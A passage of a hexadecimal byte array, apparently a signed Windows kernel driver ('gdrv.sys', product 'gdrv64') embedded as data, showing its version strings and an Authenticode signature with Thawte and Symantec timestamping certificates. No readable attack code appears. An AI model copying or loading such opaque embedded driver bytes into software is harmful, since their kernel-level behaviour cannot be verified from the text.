0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, - 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, - 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x37, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, - 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, - 0x72, 0x00, 0x76, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x07, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, 0x36, 0x00, 0x34, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, - 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x37, 0x00, 0x31, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, - 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, - 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xF8, 0xA0, 0x00, 0xA1, - 0x08, 0xA1, 0x10, 0xA1, 0xB8, 0xA1, 0xD0, 0xA1, 0xD8, 0xA1, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, - 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1E, 0x99, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x1E, 0x8A, 0x30, - 0x82, 0x1E, 0x86, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, - 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x82, 0x01, 0xA8, 0x06, - 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, - 0x82, 0x01, 0x98, 0x30, 0x82, 0x01, 0x94, 0x30, 0x82, 0x01, 0x6D, 0x06, - 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, - 0x82, 0x01, 0x5D, 0x03, 0x01, 0x00, 0xA0, 0x82, 0x01, 0x56, 0xA1, 0x82, - 0x01, 0x52, 0x04, 0x10, 0xA6, 0xB5, 0x86, 0xD5, 0xB4, 0xA1, 0x24, 0x66, - 0xAE, 0x05, 0xA2, 0x17, 0xDA, 0x8E, 0x60, 0xD6, 0x04, 0x82, 0x01, 0x3C, - 0x31, 0x82, 0x01, 0x38, 0x30, 0x82, 0x01, 0x34, 0x06, 0x0A, 0x2B, 0x06, - 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x03, 0x01, 0x31, 0x82, 0x01, 0x24, - 0x04, 0x82, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xCA, 0x42, 0xF0, 0x63, - 0x0E, 0x03, 0xB4, 0x39, 0xF0, 0x67, 0xD0, 0xB1, 0x98, 0x56, 0x51, 0xF8, - 0x55, 0x81, 0x87, 0xBB, 0x00, 0x04, 0x00, 0x00, 0xC8, 0x09, 0x9C, 0xAC, - 0x56, 0xC2, 0x4E, 0x91, 0x87, 0xA9, 0xBA, 0x3A, 0x41, 0x00, 0x8A, 0x63, - 0xFF, 0x63, 0x20, 0xF5, 0x00, 0x14, 0x00, 0x00, 0xAE, 0x9A, 0x08, 0xC8, - 0x17, 0xEF, 0xCD, 0xDF, 0x73, 0x8E, 0x95, 0xD4, 0x04, 0x21, 0xD9, 0x91, - 0x7D, 0x94, 0x8F, 0x37, 0x00, 0x24, 0x00, 0x00, 0xD2, 0xE2, 0x21, 0x90, - 0xF4, 0x35, 0xA7, 0xC8, 0xED, 0x11, 0xC4, 0xA8, 0x14, 0x29, 0xA9, 0x5C, - 0xAC, 0x70, 0xEF, 0x98, 0x00, 0x30, 0x00, 0x00, 0x2C, 0xCF, 0x64, 0xA1, - 0x96, 0x1C, 0xA6, 0x4F, 0xA4, 0x56, 0x4D, 0x96, 0x7E, 0xE2, 0xCF, 0xF4, - 0x44, 0xB0, 0xC0, 0xAE, 0x00, 0x38, 0x00, 0x00, 0x24, 0xB1, 0x02, 0xB3, - 0x62, 0x96, 0x08, 0x3E, 0x4F, 0x2F, 0x41, 0xA9, 0x67, 0x89, 0x93, 0xDC, - 0x25, 0x4C, 0x20, 0xB7, 0x00, 0x3A, 0x00, 0x00, 0x79, 0x8C, 0x65, 0x36, - 0xA9, 0x2D, 0x3B, 0xE4, 0xEF, 0xC5, 0x4D, 0x13, 0x8F, 0x51, 0x46, 0xFE, - 0xCB, 0x0D, 0xAA, 0x08, 0x00, 0x3C, 0x00, 0x00, 0xF4, 0xC1, 0x6A, 0xFC, - 0xB5, 0x43, 0x6A, 0xFD, 0x18, 0xB9, 0x8C, 0x64, 0xB7, 0x4D, 0x02, 0xD6, - 0xF9, 0x3A, 0x9B, 0xB8, 0x00, 0x3E, 0x00, 0x00, 0xF6, 0x95, 0xBD, 0xF3, - 0x7A, 0x5A, 0x4A, 0xB9, 0xA4, 0x07, 0x04, 0x77, 0x26, 0x6A, 0x44, 0xF4, - 0x7B, 0x09, 0xB3, 0x04, 0x00, 0x44, 0x00, 0x00, 0xEB, 0xF4, 0x2C, 0xFA, - 0x74, 0x90, 0x80, 0xD3, 0x34, 0x51, 0x0B, 0xAF, 0xCA, 0x5F, 0x9D, 0x6F, - 0x68, 0xA5, 0xE0, 0x30, 0x00, 0x48, 0x00, 0x00, 0xDC, 0x15, 0x74, 0x35, - 0x89, 0x13, 0xAD, 0xE7, 0xE0, 0x22, 0x48, 0x18, 0xFC, 0xA0, 0xEA, 0x03, - 0xD7, 0x7E, 0xBC, 0x64, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, - 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0x5C, 0x26, 0xF1, 0x30, 0xF6, - 0xA5, 0xAD, 0x8B, 0xDD, 0x2E, 0xED, 0x29, 0x14, 0x05, 0x42, 0xDA, 0xE0, - 0x88, 0x5B, 0x17, 0xA0, 0x82, 0x18, 0x86, 0x30, 0x82, 0x03, 0xEE, 0x30, - 0x82, 0x03, 0x57, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x7E, 0x93, - 0xEB, 0xFB, 0x7C, 0xC6, 0x4E, 0x59, 0xEA, 0x4B, 0x9A, 0x77, 0xD4, 0x06, - 0xFC, 0x3B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, - 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0x8B, 0x31, 0x0B, 0x30, 0x09, - 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5A, 0x41, 0x31, 0x15, 0x30, - 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0C, 0x57, 0x65, 0x73, 0x74, - 0x65, 0x72, 0x6E, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, 0x30, 0x12, - 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0B, 0x44, 0x75, 0x72, 0x62, 0x61, - 0x6E, 0x76, 0x69, 0x6C, 0x6C, 0x65, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, - 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x14, 0x54, 0x68, - 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, - 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, - 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x32, 0x32, - 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, - 0x31, 0x32, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, - 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, - 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, - 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, - 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, - 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, - 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, - 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, - 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, - 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, - 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xB1, 0xAC, 0xB3, 0x49, - 0x54, 0x4B, 0x97, 0x1C, 0x12, 0x0A, 0xD8, 0x25, 0x79, 0x91, 0x22, 0x57, - 0x2A, 0x6F, 0xDC, 0xB8, 0x26, 0xC4, 0x43, 0x73, 0x6B, 0xC2, 0xBF, 0x2E, - 0x50, 0x5A, 0xFB, 0x14, 0xC2, 0x76, 0x8E, 0x43, 0x01, 0x25, 0x43, 0xB4, - 0xA1, 0xE2, 0x45, 0xF4, 0xE8, 0xB7, 0x7B, 0xC3, 0x74, 0xCC, 0x22, 0xD7, - 0xB4, 0x94, 0x00, 0x02, 0xF7, 0x4D, 0xED, 0xBF, 0xB4, 0xB7, 0x44, 0x24, - 0x6B, 0xCD, 0x5F, 0x45, 0x3B, 0xD1, 0x44, 0xCE, 0x43, 0x12, 0x73, 0x17, - 0x82, 0x8B, 0x69, 0xB4, 0x2B, 0xCB, 0x99, 0x1E, 0xAC, 0x72, 0x1B, 0x26, - 0x4D, 0x71, 0x1F, 0xB1, 0x31, 0xDD, 0xFB, 0x51, 0x61, 0x02, 0x53, 0xA6, - 0xAA, 0xF5, 0x49, 0x2C, 0x05, 0x78, 0x45, 0xA5, 0x2F, 0x89, 0xCE, 0xE7, - 0x99, 0xE7, 0xFE, 0x8C, 0xE2, 0x57, 0x3F, 0x3D, 0xC6, 0x92, 0xDC, 0x4A, - 0xF8, 0x7B, 0x33, 0xE4, 0x79, 0x0A, 0xFB, 0xF0, 0x75, 0x88, 0x41, 0x9C, - 0xFF, 0xC5, 0x03, 0x51, 0x99, 0xAA, 0xD7, 0x6C, 0x9F, 0x93, 0x69, 0x87, - 0x65, 0x29, 0x83, 0x85, 0xC2, 0x60, 0x14, 0xC4, 0xC8, 0xC9, 0x3B, 0x14, - 0xDA, 0xC0, 0x81, 0xF0, 0x1F, 0x0D, 0x74, 0xDE, 0x92, 0x22, 0xAB, 0xCA, - 0xF7, 0xFB, 0x74, 0x7C, 0x27, 0xE6, 0xF7, 0x4A, 0x1B, 0x7F, 0xA7, 0xC3, - 0x9E, 0x2D, 0xAE, 0x8A, 0xEA, 0xA6, 0xE6, 0xAA, 0x27, 0x16, 0x7D, 0x61, - 0xF7, 0x98, 0x71, 0x11, 0xBC, 0xE2, 0x50, 0xA1, 0x4B, 0xE5, 0x5D, 0xFA, - 0xE5, 0x0E, 0xA7, 0x2C, 0x9F, 0xAA, 0x65, 0x20, 0xD3, 0xD8, 0x96, 0xE8, - 0xC8, 0x7C, 0xA5, 0x4E, 0x48, 0x44, 0xFF, 0x19, 0xE2, 0x44, 0x07, 0x92, - 0x0B, 0xD7, 0x68, 0x84, 0x80, 0x5D, 0x6A, 0x78, 0x64, 0x45, 0xCD, 0x60, - 0x46, 0x7E, 0x54, 0xC1, 0x13, 0x7C, 0xC5, 0x79, 0xF1, 0xC9, 0xC1, 0x71, - 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xFA, 0x30, 0x81, 0xF7, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x5F, 0x9A, - 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, - 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, 0x30, 0x32, 0x06, 0x08, 0x2B, 0x06, - 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x26, 0x30, 0x24, 0x30, 0x22, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x16, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, - 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x12, - 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, - 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x1D, - 0x1F, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0xA0, 0x32, 0xA0, 0x30, 0x86, - 0x2E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, - 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x54, - 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, - 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x6C, 0x30, - 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, - 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, - 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, - 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, - 0x32, 0x30, 0x34, 0x38, 0x2D, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, - 0x00, 0x03, 0x09, 0x9B, 0x8F, 0x79, 0xEF, 0x7F, 0x59, 0x30, 0xAA, 0xEF, - 0x68, 0xB5, 0xFA, 0xE3, 0x09, 0x1D, 0xBB, 0x4F, 0x82, 0x06, 0x5D, 0x37, - 0x5F, 0xA6, 0x52, 0x9F, 0x16, 0x8D, 0xEA, 0x1C, 0x92, 0x09, 0x44, 0x6E, - 0xF5, 0x6D, 0xEB, 0x58, 0x7C, 0x30, 0xE8, 0xF9, 0x69, 0x8D, 0x23, 0x73, - 0x0B, 0x12, 0x6F, 0x47, 0xA9, 0xAE, 0x39, 0x11, 0xF8, 0x2A, 0xB1, 0x9B, - 0xB0, 0x1A, 0xC3, 0x8E, 0xEB, 0x59, 0x96, 0x00, 0xAD, 0xCE, 0x0C, 0x4D, - 0xB2, 0xD0, 0x31, 0xA6, 0x08, 0x5C, 0x2A, 0x7A, 0xFC, 0xE2, 0x7A, 0x1D, - 0x57, 0x4C, 0xA8, 0x65, 0x18, 0xE9, 0x79, 0x40, 0x62, 0x25, 0x96, 0x6E, - 0xC7, 0xC7, 0x37, 0x6A, 0x83, 0x21, 0x08, 0x8E, 0x41, 0xEA, 0xDD, 0xD9, - 0x57, 0x3F, 0x1D, 0x77, 0x49, 0x87, 0x2A, 0x16, 0x06, 0x5E, 0xA6, 0x38, - 0x6A, 0x22, 0x12, 0xA3, 0x51, 0x19, 0x83, 0x7E, 0xB6, 0x30, 0x82, 0x04, - 0xA3, 0x30, 0x82, 0x03, 0x8B, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, - 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, - 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, - 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5E, 0x31, 0x0B, 0x30, - 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, - 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, - 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, - 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, - 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, 0x1E, 0x17, 0x0D, 0x31, - 0x32, 0x31, 0x30, 0x31, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, - 0x17, 0x0D, 0x32, 0x30, 0x31, 0x32, 0x32, 0x39, 0x32, 0x33, 0x35, 0x39, - 0x35, 0x39, 0x5A, 0x30, 0x62, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, - 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, - 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, - 0x6E, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x2B, - 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, - 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x53, 0x69, 0x67, 0x6E, - 0x65, 0x72, 0x20, 0x2D, 0x20, 0x47, 0x34, 0x30, 0x82, 0x01, 0x22, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, - 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, - 0x82, 0x01, 0x01, 0x00, 0xA2, 0x63, 0x0B, 0x39, 0x44, 0xB8, 0xBB, 0x23, - 0xA7, 0x44, 0x49, 0xBB, 0x0E, 0xFF, 0xA1, 0xF0, 0x61, 0x0A, 0x53, 0x93, - 0xB0, 0x98, 0xDB, 0xAD, 0x2C, 0x0F, 0x4A, 0xC5, 0x6E, 0xFF, 0x86, 0x3C, - 0x53, 0x55, 0x0F, 0x15, 0xCE, 0x04, 0x3F, 0x2B, 0xFD, 0xA9, 0x96, 